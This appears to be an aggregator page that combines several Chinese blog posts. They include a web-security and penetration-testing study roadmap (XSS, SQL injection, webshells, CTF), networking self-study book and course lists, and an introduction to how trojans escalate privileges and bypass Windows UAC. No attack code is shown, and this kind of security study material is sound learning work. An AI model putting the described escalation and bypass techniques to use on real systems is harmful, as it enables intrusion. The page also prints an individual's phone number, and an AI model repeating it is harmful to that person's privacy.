精华内容
下载资源
问答
  • 2020-06-16 17:29:55

    目录

    相关网站推荐

    WEB(应用)安全

    学习路线

    推荐

    书籍

    网站

    在线靶场

    基础

    XSS攻击

    CSRF漏洞

    劫持攻击

    点击劫持

    SSRF漏洞

    文件包含漏洞

    文件上传漏洞

    XXE漏洞

    WebShell

    解析安全

    RCE漏洞

    SQL注入漏洞

    反序列化漏洞

    条件竞争

    通信安全

    应用层

    传输层

    网络层

    身份认证与访问控制

    弱口令爆破

    渗透测试

    学习路线

    基础知识

    推荐

    书籍

    练习靶场

    信息收集

    漏洞扫描

    渗透攻击

    现代密码学

    CTF

    项目推荐

    比赛推荐

    模糊测试

    AFL

    文件模糊测试

    插桩

    java插桩


    ---------------------2021102更新找工作篇---------------------

    秋招结束,面经就放在前面了

    阿里云安全面经,已收到意向书(回馈牛客)https://www.nowcoder.com/discuss/642461icon-default.png?t=M0H8https://www.nowcoder.com/discuss/642461

    渣硕的安全工程师面经(阿里,美团,腾讯,华为,字节)https://www.nowcoder.com/discuss/749954icon-default.png?t=M0H8https://www.nowcoder.com/discuss/749954

    ---------------------20211102更新完毕---------------------

    相关网站推荐

    博主研究方向为安全领域,以后可能更多的在圈子内发表文章,提高文章质量。

    1、FreeBuf

    国内关注度最高的全球互联网安全媒体平台,爱好者们交流与分享安全技术的社区,网络安全行业门户。

    个人账户:ladykiller9

    2、看雪

    看雪论坛是个软件安全技术交流场所,为安全技术爱好者提供一个技术交流平台和资源。

    个人主页:lady_killer9 

    3、吾爱破解

    吾爱破解论坛是致力于软件安全与病毒分析的非营利性技术论坛。

    4、阿里云先知社区

    一个开放型技术平台。

    个人主页:ladykiller9

    5、腾讯玄武安全实验室

    各种CVE,漏洞。

    6、SecWiki

    安全维基,各种安全资讯。

    WEB(应用)安全

    学习路线

    WEB安全学习路线

    想法:分别学习各个模块,搭建靶机进行练习,做CTF中的WEB安全题,然后再看懂后台代码,为什么会有漏洞,接下来复现一些CVE制作成镜像给看雪等CTF比赛官方,最后学习metasploit等软件,以宏观的角度,从情报搜集开始到漏洞利用做整个渗透报告,最后将靶机的漏洞危险程度由low->impossible(感觉并没有那么多时间...慢慢来吧)。和我一起来学习WEB安全吧!!!

    推荐

    书籍

    入门

    • 《白帽子讲Web安全》 2012
    • 《Web安全深度剖析》2015
    • 《Web安全攻防 渗透测试实战指南》2018

    进阶

    • 《WEB之困-现代WEB应用安全指南》 2013
    • 《内网安全攻防渗透测试安全指南》 2020
    • 《Metasploit渗透测试魔鬼训练营》2013
    • 《SQL注入攻击与防御》2010
    • 《黑客攻防技术宝典-Web实战篇(第2版)》

    网站

    Web安全学习笔记

    安全词汇 RFC-4949

    接下来开始学习,理论并非纯理论,也有靶机攻击举例,实战一般使用离线或线上靶机。

    在线靶场

    国钧CTF

    BUUCTF

    bugku

    网络信息安全攻防平台

    基础

    web安全必备:

    网络安全-php安全知识点

    网络安全-WEB中的常见编码

    跨域请求-jsonp和cors

    学xss注入时再看也可:

    网络安全-js安全知识点与XSS常用payloads

    学sql注入时再看也可:

    网络安全-Mysql注入知识点

    漏洞排行:

    OWASP TOP 10

    XSS攻击

    ----------------------------------理论----------------------------------

    网络安全-跨站脚本攻击(XSS)自学笔记

    网络安全-XSStrike中文手册(自学笔记)

    ---------------------------------实战-----------------------------------

    靶机:dvwa

    网络安全-靶机dvwa之XSS注入Low到High详解(含代码分析)

    靶机:pikachu

    网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)

    靶机:xssplatform

    CSRF漏洞

    ----------------------------------理论与实战----------------------------------

    网络安全-跨站请求伪造(CSRF)的原理、攻击及防御

    劫持攻击

    点击劫持

    ----------------------------------理论----------------------------------

    网络安全-点击劫持(ClickJacking)的原理、攻击及防御

    SSRF漏洞

    -----------------------------理论及实战--------------------------------

    网络安全-SSRF漏洞原理、攻击与防御

    文件包含漏洞

    -----------------------------理论及实战--------------------------------

    网络安全-文件包含漏洞原理、攻击及防御

    文件上传漏洞

    -----------------------------理论及实战--------------------------------

    网络安全-文件上传漏洞的原理、攻击与防御

    XXE漏洞

    -----------------------------理论及实战--------------------------------

    网络安全-XXE(XML外部实体注入)原理、攻击及防御

    WebShell

    网络安全-webshell详解(原理、攻击、检测与防御)

    解析安全

    RCE漏洞

    ----------------------------------理论----------------------------------

    网络安全-RCE(远程命令执行)漏洞原理、攻击与防御

    SQL注入漏洞

    ----------------------------------理论----------------------------------

    网络安全-SQL注入原理及防御SQL注入

    网络安全-sqlmap学习笔记

    网络安全-sqlmap注意项及高级使用

    ---------------------------------实战-----------------------------------

    靶机:dvwa

    网络安全-靶机dvwa之sql注入Low到High详解(含代码分析)

    靶机:sqlilabs

    sqlmap实战之sqlilabs-Less1

    Less2差不多,整型参数错误,sql语句为 SELECT * FROM users WHERE id=$id LIMIT 0,1

    网络安全-sqlmap实战之sqlilabs-Less3

    网络安全-sqlmap实战之sqlilabs-Less4

    网络安全-sqlmap实战之sqlilabs-Less5

    网络安全-sqlmap实战之sqlilabs-Less6

    网络安全-sqlmap实战之sqlilabs-Less8

    网络安全-sqlmap实战之sqlilabs-Less9

    网络安全-sqlmap实战之sqlilabs-Less11

    网络安全-sqlmap实战之sqlilabs-Less12

    网络安全-sqlmap实战之sqlilabs-Less13

    反序列化漏洞

    ----------------------------------理论与实战--------------------------------------

    网络安全-反序列化漏洞简介、攻击与防御

    条件竞争

    网络安全-条件竞争(《CTF特训营》第7章复现)

    CTF-【NSCTF 2015】WEB11 条件竞争

    通信安全

    ----------------------------------理论与实战--------------------------------------

    应用层

    网络-http协议学习笔记(消息结构、请求方法、状态码等)

    网络-https协议学习笔记(SSL、TLS、CA、抓包与修改)

    网络-Telnet协议与SSH协议(命令、免密登录)及其安全性

    网络-DNS域名系统详解与DNS攻击

    传输层

    网络-UDP协议详解(代码、实战)

    网络-TCP协议详解自学笔记(例题、代码、实战)

    网络层

    网络-IP协议详解(报文格式、分类、NAT、子网、CIDR、抓包分析)

    网络-ICMP协议、Ping命令实现与ICMP攻击

    网络-ARP协议详解与ARP欺骗(中毒)攻击实战

    -----------------------------------实战-------------------------------------

    网络安全-scapy学习笔记

    网络安全-python脚本资源整理

    身份认证与访问控制

    弱口令爆破

    ----------------------------------理论----------------------------------

    github 字典整理

    渗透测试

    学习路线

    学习路线

    时间关系,仅关注渗透测试基础与WEB渗透相关的内容。

    基础知识

    kali

    渗透测试-Kali Linux学习(Linux基础、Shell编程、渗透测试软件)

    推荐

    书籍

    《Metasploit渗透测试魔鬼训练营》

    《Metasploit渗透测试指南》

    《KALI渗透测试技术实战》

    练习靶场

    hackthebox

    vulnhub

    信息收集

      网络安全-信息收集

    《MetaSploit渗透测试魔鬼训练营》之环境搭建

    《MetaSploit渗透测试魔鬼训练营》之信息搜集

    漏洞扫描

    OpenVAS的安装、使用及实战(GVM,Metasploit使用)

    渗透攻击

    《MetaSploit渗透测试魔鬼训练营》之WEB应用渗透技术

    现代密码学

    没想到半年了,文章更新到这么长了,思维导图就不放在这个里面了,放在下面概论里面了

    基本知识

    现代密码学-密码学概论与基本知识

    传统密码

    对称密码

    非对称密码

    哈希函数与消息认证

    数字签名

    公钥管理

    数字帧数

    CTF

    项目推荐

    CTF入门

    CTF工具

    CTF工具2

    比赛推荐

    全国大学生信息安全竞赛

    DDCTF

    "强网杯"全国网络安全挑战赛

    网鼎杯网络安全大赛

    XCTF

    WCTF

    TCTF

    NSCTF

    KCTF

    模糊测试

    Fuzzing大合集
    -包含fuzz书籍、课程、开源软件等

    AFL

    模糊测试-AFL学习笔记之C/C++

    模糊测试-AFL学习笔记之Java

    文件模糊测试

    模糊测试-radamsa学习笔记

    插桩

    java插桩

    java插桩-javaassist

    java插桩-Jacoco java代码覆盖率可视化

    本人b站账号:lady_killer9

    喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

    更多相关内容
  • 自学考试-计算机网络原理(04741)知识点详细全面总结,自考计算机网络原理知识要点,可参考,梳理条理,希望对参加自考的同学有所帮助
  • 海地软件自学教程知识.pdf
  • 自学考试大纲知识.pdf

    2022-01-31 15:26:51
    自学考试大纲知识.pdf
  • 建筑经济与企业管理复习资料高等教育自学考试知识.pdf
  • 中文版PhotoshopCS6完全自学基础知识入门到精通视频教程定义.pdf
  • 幼儿园课程自学考试题库完整知识.pdf
  • 网络的基础知识。 是一个很全的资料。 学习。 在学习。
  • Java SE完整版精品优质课件 自学入门必看的优秀Java基础知识培训教案 特别适合新入门自学的新手同学,也适合老手回顾学习,巩固知识 第1章 Java语言概述 第2章 基本语法 第3章 面向对象编程 第4章 高级类特性1 第5...
  • 2022会计基础自学时整理的各类表知识.pdf
  • 计算机网络自学指南,简直太全了!

    万次阅读 多人点赞 2021-02-19 10:03:51
    今天偶然发现了计算机网络如何自学的问题,于是决定怒答一波。 关于计算机网络如何学习,我就拿自己亲身实践的来举例吧,因为我也自学学起的。 我觉得最重要的就是看书(博客) + 实践。 首先是看书。 书籍推荐 书也...

    今天偶然发现了计算机网络如何自学的问题,于是决定怒答一波

    关于计算机网络如何学习,我就拿自己亲身实践的来举例吧,因为我也自学学起的。

    我觉得最重要的就是看书(博客) + 实践

    首先是看书。

    书籍推荐

    书也分为不同的层次,最基础的入门书籍有

    网络是怎样连接的

    这是我推荐给你的第一本书。

    这本书是日本人写的,它和《程序是怎样运行的》、《计算机是怎样跑起来的》统称为图解入门系列,最大的特点就是风趣幽默,简单易懂。这本书通过多图来解释浏览器中从输入网址开始,一路追踪了到显示出网页内容为止的整个过程,以图配文,讲解了网络的全貌,并重点介绍了实际的网络设备和软件是如何工作的。

    本书图文并茂,通俗易懂,非常适合计算机、网络爱好者及相关从业人员阅读。

    所以如果大家是新手的话,强烈推荐一下这本书。

    日本人就爱图解,同样图解系列的入门书籍还有《图解 HTTP》、《图解 TCP/IP》。

    图解 HTTP

    这是我推荐给你的第二本书。

    《图解 HTTP》是 HTTP 协议的入门书籍,当然 HTTP 也是属于计算机网络的范畴,这本书适合于想要对 HTTP 有基本认知的程序员,同样也适合查漏补缺

    这类书看起来就毫无难度了,不得不说图解系列是给小白的圣经,它能增强你的自信,让你觉得计算机其实没那么难,这是非常重要的。初学者,最怕的就是劝退了。

    图解 TCP/IP

    这是我推荐给你的第三本书

    上面的图解 HTTP 是针对 HTTP 协议的,那么《图解 TCP/IP》就是针对 TCP/IP 协议簇中的协议了,这本书我已经看了 80% 了,还是比较系统的一本书,基本上涵盖了 TCP/IP 协议簇中的所有协议知识了,这本书看完了完全就可以直接深入理解 TCP/IP 协议簇了

    对于新手来说,最重要的一点就是帮助你理解,怎么简单怎么来,这样才能快速入门,对于快餐式的社会来说,快速理解当然是当仁不让的首选了。

    如果上面这几本书你都搞定了的话,那你就可以读一下 《计算机网络:自顶向下方法》这本书了,这本书可以作为基础书籍也可以作为进阶书籍,这里我归为了进阶书籍,因为里面有一些章节不是那么好理解,比如介绍网络层的时候,会分为数据平面和控制平面,介绍 TCP 和 UDP 的时候,也会聊到一些原理性问题。

    计算机网络:自顶向下方法

    这是我推荐给你的第四本书

    这本书是一本计算机网络的圣经书籍,圣经就在于人人都应该读一下这本书,原著非常经典,翻译也很不错,我自己也马上就看完了,这本书会从顶层也就是网络层逐步下探到物理层,一层一层的带你入门,解释各层之间的协议,主要特征是什么,一个数据包的发送历程。这本书并不局限于某个具体的协议,而是从宏观的角度来看待计算机网络到底是什么,里面有一些专业名词,理解并掌握后会对深入学习计算机网络非常有用。

    计算机网络:谢希仁版

    这是我推荐给你的第五本书籍

    这本书是很多大学的教材,也是一本非常好的进阶书籍,这本书相对于自顶向下方法更多是对于通信网络的阐述。

    这本书的特点是突出基本原理和基本概念的阐述,同时力图反映计算机网络的一些最新发展。本书可供电气信息类和计算机类专业的大学本科生和研究生使用,对从事计算机网络工作的工程技术人员也有参考价值

    现在我们接着聊,如果上面这两本书随便一本看完了,那么恭喜你已经是一个老手了,你的网络基础能打败 90% 以上的人了,如果你还不满足的话,那你就需要继续深入,继续深入也是我推荐给你的提高书籍。

    HTTP 权威指南

    这是我推荐给你的第六本书

    HTTP 权威指南是深入 HTTP 非常值得一看的书,这本书写的非常全了。

    此书第一部分是 HTTP 的概述,如果你没有时间,通读第一部分就能让你应付普通的日常开发工作。

    第二部分主要讲现实世界中 HTTP 的架构,也可以看作 HTTP 的全景图,包括 Web Server/Cache/Proxy/Gateway,是全书中精华的部分。

    第三部分主要是 HTTP 安全,其中 Basic 和 Digest 概略看下即可,现实世界中用的应该不多。看 HTTPS 最好有一些计算机安全基础,这样会顺畅很多。

    第四部分主要是关于 HTTP Message Body 的部分,包括 Content Negotiation,MIME Type,chunked encoding等,概略看下即可。

    第五部分的内容,Web Hosting 可以认真看下,了解下 Virtual Host(话说我上学的时候一直搞不懂 Virtual Host,一个 IP 怎么能同时 Host 两个不同域名的 Web 页面呢)。

    剩下三章已经过时,基本可以忽略。 最后的附录,可以用作边用边学的字典,如果你自己来写 Web Server,那么这一部分是极有价值的参考。

    总而言之,无论你是前端还是后端,只要是 Web 相关的,那么此书就是必读的。

    TCP/IP 详解

    这是我推荐给你的第七本书

    这是一本被翻译耽误的经典书,两个硬核作者 Kevin R. Fall 和 W. Richard Stevens 被南开大学的某计算机系的译者给毁了。我第一开始读这本书以为是自己智商不够,原来是翻译瞎TM翻啊。语句不通且不说,您好歹走点心,改点措辞也行啊,纯碎是生搬硬套谷歌翻译啊,哎。

    来看看豆瓣读者们对这本书的评价吧,比我有力量多了。

    这个回答给我看乐了,嗯,把这本书当作一本 Google 词典确实是一种不错的选择。

    不过这本书确实是一本非常好的书,这本书的关注点在于 TCP/IP 协议栈上,可以说把 TCP/IP 讲透讲细了,比如讲 TCP 就会分别从连接管理、TCP 超时重传、TCP 拥塞控制、TCP 保活机制来讲起,不管你是从事哪个技术栈的研究,不管你是程序员还是网络工程师,这本书都是你值得一读的一本,不过要读最好还是读英文版。

    TCP/IP 详解有三本,第二本是

    这本黑皮书主要是介绍如何实现 TCP/IP 协议的,这本书很难入门。书中给出了约 500 个图例,15000 行实际操作的 C 代码,采用举例教学的方法帮助你掌握 TCP/IP 实现。

    本书不仅说明了插口 API 和协议族的关系以及主机实现与路由器实现的差别。还介绍了 4.4BSD-Lite 版的新的特点。本书适用于希望理解 TCP/IP 协议如何实现的人,包括编写网络应用程序的程序员以及利用 TCP/IP 维护计算机网络的系统管理员。

    第三卷是 tcp 事务协议、http、nntp 和 unix 域协议

    这本书看的人就更少了。

    第 3 卷详细介绍了当今 TCP/IP 程序员和网络管理员必须非常熟悉的四个基本主题: TCP 的扩展、Hyper 文本传输协议、网络新闻传输协议和 UNIX 域协议。与前两卷一样,本书介绍了 4.4BSD-Lite 网络代码中的示例和实现细节。

    嗯。。。有一些沉重了,其实这些深入协议底层的书籍我们 99% 的人都接触不到,但是为了回答的完整性,我就都列出来了,这样的好处是让你能系统了解。

    上面都是一些理论书籍,下面是稍微偏实战一些的书籍了。

    计算机网络实战最有效的当然就属于抓包了,有很多抓包工具比如 wireshark、sniffer、httpwatch、iptool、fiddle 等,但是我用的和使用频率最高的应该就是 wireshark 了,关于 wireshark 还有几本实战方面的书你需要知道

    wireshark 数据包分析实战

    这是我推荐给你的第八本书

    初学者必备,介绍了 wireshark 安装,嗅探网络流量,wireshark 的基本使用,用 wireshark 分析了一圈常用的TCP,UDP 协议,也简要分析了 HTTP 等应用层协议,概要介绍了一些 TCP 重传的机制,最后是无线分析。

    整个书定位应该是入门级别的,基本上每章都是简要介绍,并没有特别深入大张阔斧地进行描述。文章行文思路清晰,译者的翻译水平也不错。总的来说,是初步认识和了解 wireshark 的好书

    wireshark 网络分析就是这么简单

    这是我推荐给你的第九本书

    读的时候你会忍不住笑的,区别于《Wireshark数据包分析实战》,本书就像一本侦探小说集,以幽默风趣的语言风格,借助wireshark以理性的思考来不断探险,根据蛛丝马迹来侦破案情。总结,读完数据包分析实战来读这本。

    Wireshark网络分析实战

    这是我推荐给你的第十本书

    其内容涵盖了 Wireshark 的基础知识,抓包过滤器的用法,显示过滤器的用法,基本/高级信息统计工具的用法,Expert Info 工具的用法,Wiresahrk 在 Ethernet、LAN 及无线 LAN 中的用法,ARP 和 IP 故障分析,TCP/UDP故障分析,HTTP 和 DNS 故障分析,企业网应用程序行为分析,SIP 多媒体和 IP电话,排除由低带宽或高延迟所引发的故障,认识网络安全等知识。

    书籍推荐大概就是上面那些,除了书之外,还有一些视频、博客、官网网站可以学习

    视频推荐

    今天在 b 站看视频的时候,看到了一句话众所周知,b 站是用来搞学习的,对于我们学习编程的童鞋来说,b 站有着非常多的学习资源,但是有一些质量并不是很好,看了之后不容易理解,这也是写这一篇文章的原因,为大家分

    享一些质量超高的计算机基础的学习视频,往下看就完了。

    1.计算机网络微课堂(有字幕无背景音乐版)(陆续更新中…)_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili

    学习计算机网络,我首先推荐的 UP 主湖科大教书匠,他讲的计算机网络十分通俗易懂,重点的地方讲的十分细致,并且还有一些实验,更好的是有考研 408 的难题的讲解,也是非常适合考研党,除了课程内容外还有很多习题讲解视频,特别赞的一点是每天动态里都会更新一道考研题,播放量也非常的多。

    2. 2019 王道考研 计算机网络_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili

    既然说到了考研,那我就不得不提一下王道考研了,恭喜你发现了宝藏。王道考研的计算机网络视频,播放量非常多,而且老师是一位小姐姐,声音十分动听,声音这么好听的老师给你讲课,妈妈再也不用担心我的学习了呢,总之,这个视频的质量也非常高,弹幕全是对小姐姐的高度评价。(王道考研其他的视频也不错哦,暗示一下:操作系统,数据结构等等)

    3. 韩立刚计算机网络 谢希仁 第7版 2020年12月_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili

    韩立刚老师所讲的计算机网络视频,内容比较多,但是讲解的通俗易懂,并且老师讲课的经验也十分的丰富。配套的教材是谢希仁老师的计算机网络教材,韩老师的最近的一个视频视频比较新,播放量还比较少,但是他讲的是真的不错,相比于王道考研所讲的计算机网络,韩老师更加细致一些。

    4. 计算机网络(谢希仁第七版)-方老师_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili

    在计算机网络方面,我还想推荐的一位老师就是方老师,也是一位小姐姐老师。她的视频配套的教材也是谢老师的网络教材,在线看的小伙伴也超多,弹幕都是对方老师的评价。

    博客推荐

    推荐几个不错的学习博客。

    互联网协议入门-阮一峰:http://www.ruanyifeng.com/blog/2012/05/internet_protocol_suite_part_i…

    网络协议-兰亭风雨:http://blog.csdn.net/ns_code/article/category/1805481

    HTTP协议:http://www.cnblogs.com/TankXiao/category/415412.html

    Unix 网络编程:http://blog.csdn.net/chenhanzhun/article/category/2767131/2

    TCP/IP详解:http://blog.csdn.net/chenhanzhun/article/category/2734921/1

    计算机网络面试题:http://blog.csdn.net/shadowkiss/article/details/6552144

    国外优秀计算机网络站点:http://www.tcpipguide.com/free/t_TCPSlidingWindowAcknowledgmentSystemForDataTranspo-6.htm

    当然最硬核的就是 RFC 文档了 RFC Index

    学习 HTTP ,必须要看一下 MDN 官网 HTTP | MDN

    学习计算机网络,Cloudflare 你必须要去看 https://www.cloudflare.com/zh-cn/learning/

    GeeksforGeeks 学习计算机网络也非常不错 Basics of Computer Networking - GeeksforGeeks

    Tutorialspoint 系统学习计算机,不仅仅局限于计算机网络 Computer - Networking

    国外优秀的学习网站不能少了 javapoint Types of Computer Network - javatpoint

    以上这些网站都是我精心汇总的一些内容。

    我自己也输出了一些关于计算机网络非常硬核的连载教程

    作为配套,我写了一些关于计算机网络的文章,你也可以作为参考

    计算机网络第一篇,聊一聊网络基础 :计算机网络基础知识总结

    计算机网络第二篇,聊一聊 TCP/IP 基础:TCP/IP 基础知识总结

    计算机网络第三篇,这些应用层协议你也应该知道:拿下计网协议后,我就是公园里最靓的仔

    计算机网络第四篇,这篇文章写的时间很长了,图文精美,非常值得花时间阅读:40 张图带你搞懂 TCP 和 UDP

    计算机网络第五篇,网络层之路由器的基本概念:路由器你竟然是这样的…

    计算机网络第六篇,了解一下 IP 基础知识的概念:IP 基础知识总结

    计算机网络第七篇,全方位了解一下网络层的知识:我画了 40 张图就是为了让你搞懂计算机网络层

    计算机网络第八篇,了解一下 ARP 协议是什么:ARP,这个隐匿在计网背后的男人

    计算机网络第九篇,DNS 协议是面试经常会考到的点,这篇带你深入了解一下 DNS 协议:万字长文爆肝 DNS 协议!

    关于 HTTP 协议的相关硬核内容 ,可以作为参考,希望能帮到你

    看完这篇HTTP,跟面试官扯皮就没问题了

    你还在为 HTTP 的这些概念头疼吗

    震惊 | HTTP 在疫情期间把我吓得不敢出门了

    看完这篇 HTTPS,和面试官扯皮就没问题了

    面试 HTTP ,99% 的面试官都爱问这些问题

    看完这篇 Session、Cookie、Token,和面试官扯皮就没问题了

    这些文章也是在连载中,希望小伙伴能够喜欢,如果有任何关于网络方面的知识,欢迎与我一起探讨,你可以在

    成为最好的 bestJavaer

    这个github 上联系到我,我的这个 github 也有一些不错的文章,希望能够对你有所帮助。

    实验

    借鉴一些大佬的回答,给你推荐一个斯坦福课程的实验

    推荐 Stanford 课程 cs144,配合《计算机网络:自顶向下方法》(Computer Networking: A Top-Down Approach)。具体来说就是跟着 cs144 的课程安排走一遍,完成课程的 lab啦。

    另外,添加我的微信 becomecxuan,加入每日一题群,每天一道面试题分享,更多内容请参见我的 Github,成为最好的 bestJavaer,已经收录此篇文章,详情见原文链接

    我自己肝了六本 PDF,微信搜索「程序员cxuan」关注公众号后,在后台回复 cxuan ,领取全部 PDF,这些 PDF 如下

    六本 PDF 链接


    在这里插入图片描述

    展开全文
  • 浙江省2022年1月高等教育自学考试工资管理试卷知识.pdf
  • 浙江省高等教育自学考试新旧专业计划课程顶替表知识.pdf
  • 枯燥的行文方式,上来就是深入到网络各层的细节,知识点那么多,令人云里雾里,直接劝退。然后考试也是各种死记硬背的题目,令人毫无兴趣。 好的教学方式一定是讲的让别人能听懂,对于初学者,我认为好的方法应该...

    先用一张图打开全文:

    关于计算机网络学习的一点感想:

    我在大学期间,学习计算机网络课程的教材是谢希仁的《计算机网络》,先不说这本书好不好,至少是非常不适合入门

    枯燥的行文方式,上来就是深入到网络各层的细节,知识点那么多,令人云里雾里,直接劝退。然后考试也是各种死记硬背的题目,令人毫无兴趣。

    图片

     好的教学方式一定是讲的让别人能听懂,对于初学者,我认为好的方法应该是这样的:

    • 从实际案例出发(比如我们在浏览器输入一个网址到展示出内容中间发生了什么事情)
    • 计算机网络出现的背景是什么?遇到了什么问题?是为了解决什么问题?
    • 不能一下子就陷入细节,一开始应该快速入门,了解其概貌。
    • 入门后,然后再进阶学习,建议从自顶向下的方式来学习。
    • 一定要多实战,通过抓包工具查看实际的数据包长啥样,通过动手实现一个聊天工具等。

    什么是计算机网络?

    通俗的说,计算机网络是指将各个计算机设备连接起来使其能够相互交换数据和共享资源。这些连接的设备之间使用被称作交换协议的规则来通过物理或无线设施传输信息。

    图片

     我的宫伀号【编程学习指南】有更多编程学习干货,欢迎围观~

    computer network, two or more computers that are connected with one another for the purpose of communicating data electronically. Besides physically connecting computer and communication devices, a network system serves the important function of establishing a cohesive architecture that allows a variety of equipment types to transfer information in a near-seamless fashion. Two popular architectures are ISO Open Systems Interconnection (OSI) and IBM’s Systems Network Architecture (SNA).

    图片

     一个计算机网络示例:

    图片

    我的宫伀号【编程学习指南】有更多编程学习干货,欢迎围观~


    为什么要学习计算机网络?

    网络十分重要,在当前这个社会,离开了网络几乎无法生存。

    而工作中,无论我们从事哪个方向,我们也必须掌握基础的网络知识。

    虽然我们实际写的代码可能只有CRUD,不会亲自写底层框架,但是当我们遇到问题需要排查,或者要做性能优化,那么网络知识必不可少了

    企业级应用,服务器都是集群部署,那么就会涉及服务器之间的网络通信,不管是服务同步调用还是消息中间件异步通信。RPC调用,如果失败了,怎么排查失败原因?失败了是否要重试?消息中间件进行消息通信,消息消费失败,是否要重试?如何保证一致性?

    比如我最近就在实际的工作中遇到一个线上问题:

    系统中调用一个依赖的下游服务,总是概率性出现报错,maybe write overflow。

    通过查阅netty相关资料,发现是参数过大导致超过netty buffer限制,被限流了,这个调用根本没发出去。

    后面通过调整JVM参数中netty buffer大小予以解决。

    图片

    那么计算机网络到底应该如何学习呢?

    为什么大家都觉得计算机网络难学啃不动?

    学习讲究循序渐进,入门和进阶的学习路线跟大家分享一下:


    计算机网络-基础入门

    (一)视频课程推荐

    哈工大-《计算机网络》

    https://www.icourse163.org/course/HIT-154005

    本课程分为三个单元,分别介绍了计算机网络基础、计算机网络内部原理以及网络安全威胁相关知识。

    B站视频:

    https://www.bilibili.com/video/av10101468/

    (二)书籍推荐

    ①《网络是怎么连接的》

    图片

    我的宫伀号【编程学习指南】有更多编程学习干货,欢迎围观~

    本书以一个实际的案例开始:浏览器中输入一个网址,到最终浏览器展示内容,中间经历了什么?逐步探索,给出了非常多的图解,讲述了网络的全貌。

    图文并茂,通俗易懂,是一本非常棒的网络入门书籍。

    ②《图解HTTP》

    图片

    我的宫伀号【编程学习指南】有更多编程学习干货,欢迎围观~

    http协议入门书籍,读完对http会有基本认知。

    ③《图解TCP/IP》

    图片

    我的宫伀号【编程学习指南】有更多编程学习干货,欢迎围观~

    以图文的方式介绍了TCP/IP网络的每一层。


    计算机网络-进阶学习

    (一)国外经典公开课

    推荐CS144,具体来说就是跟着cs144的课程安排走一遍,完成课程的lab啦。

    课程链接:

    https://www.scs.stanford.edu/10au-cs144/

    https://cs144.github.io/

    视频:

    https://www.youtube.com/playlist?list=PLvFG2xYBrYAQCyz4Wx3NPoYJOFjvU7g2Z

    图片

    不能翻墙的B站也可以看:

    https://www.bilibili.com/video/BV1Tt411s7ei/

    图片

    配套的LAB非常给力,跟着一步一步可以实现一个协议栈。

    再推荐一个CS144自己实现的网友学习笔记:

    https://zhuanlan.zhihu.com/p/175998415

    (二)书籍推荐

    ①《计算机网络-自顶向下》

    图片

    我的宫伀号【编程学习指南】有更多编程学习干货,欢迎围观~

    这本书堪称计算机网络的圣经书籍,非常经典,被众多海外名校用作教科书。

    翻译质量也不错,一层一层进行剖析,而且并不局限于某个具体的协议,从宏观角度来解释计算机网络。

    ②《TCP/IP详解 卷一》

    图片

    讲透TCP/IP,英文水平OK的话可以直接读英文原版。

    看了那么多理论的书籍,我们还需要结合实战来加强理解。

    首先是动手抓包分析,用工具查看报文的详细信息。

    抓包书籍推荐:

    ①《Wireshark网络分析就这么简单》

    图片

    作者行文幽默风趣,由浅入深的用Wireshark分析了常见的网络协议,还提供了很多实际的案例,通过这些案例可以更好的加深对协议的理解。

    ②《wireshark网络分析的艺术》

    图片

    和第一本书是同一个作者,这本书实际中的案例更多。

    实战项目推荐

    开发一些网络工具,如聊天工具、p2p。

    推荐网友分享的一些优秀实战项目:

    (1)浅谈java实现一个聊天软件:

    https://netcan.github.io/2016/12/15/%E6%B5%85%E8%B0%88Java%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E8%81%8A%E5%A4%A9%E8%BD%AF%E4%BB%B6/

    (2)java实现简单的聊天工具:

    https://www.jianshu.com/p/fd7352adf0ef

    (3)J-IM:JAVA语言开发的轻量、高性能、单机支持几十万至百万在线用户IM

    https://gitee.com/xchao/j-im

    一些推荐学习网站

    RFC

    https://www.ietf.org/standards/rfcs/

    tutorialspoint

    https://www.tutorialspoint.com/computer_fundamentals/computer_networking.htm

    geeksforgeeks

    https://www.geeksforgeeks.org/basics-computer-networking/

    好啦,今天的分享就到这里,希望给大家在学习计算机网络的路上提供到帮助哦~

    如果觉得有用的话,点赞+分享+收藏,一键三连防止走丢哇~

    我的宫伀号【编程学习指南】有更多编程学习干货,欢迎围观~

    展开全文
  • 网络安全自学

    千次阅读 2020-09-15 15:31:37
    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。这篇文章将带着大家来学习《Windows黑客编程技术详解》,其作者是甘迪文老师,推荐大家...

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。这篇文章将带着大家来学习《Windows黑客编程技术详解》,其作者是甘迪文老师,推荐大家购买来学习。作者将采用实际编程和图文结合的方式进行分享,并且会进一步补充相关知识点。第六篇文章主要介绍木马病毒提权技术,包括进程访问令牌权限提升和Bypass UAC,希望对您有所帮助。

    如果把权限看作是门禁卡,那么计算机便是一栋拥有许多门禁的大楼,要想进入一个房间或办公室,则需要拥有对应房间的门禁卡。对于低权限,即拥有很少数量的门禁卡,能去的也只有厕所之类的无关紧要的地方,无法进入层层设防的保密办公室。这样,即使病毒木马成功混入计算机这所大楼,如果没有足够的权限,也不能窃取或修改计算机中的关键数据,杀伤力有限。

    因此,提权技术(从低权限获取高权限的技术)成为大多数病毒木马必备技术。

    在这里插入图片描述

    计算机上有哪些操作需要提权呢?操作系统处于安全考虑,对不同的操作系统划分了权限。例如创建或修改系统服务、修改HKEY_LOCAL_MACHINE注册表键或重启移动文件等操作,均需要管理员权限,普通权限操作会失败。

    同时,从VISTA系统引入了UAC(用户账户控制),涉及权限操作时都会有弹窗提示,只有用户点击确认后,方可继续操作。所以,VISTA之后的提权操作主要是针对UAC不弹窗静默提权,即Bypass UAC。

    在这里插入图片描述

     

     

     

    作者的github资源:
    软件安全:https://github.com/eastmountyxz/Software-Security-Course
    其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
    Windows-Hacker:https://github.com/eastmountyxz/Windows-Hacker-Exp

     

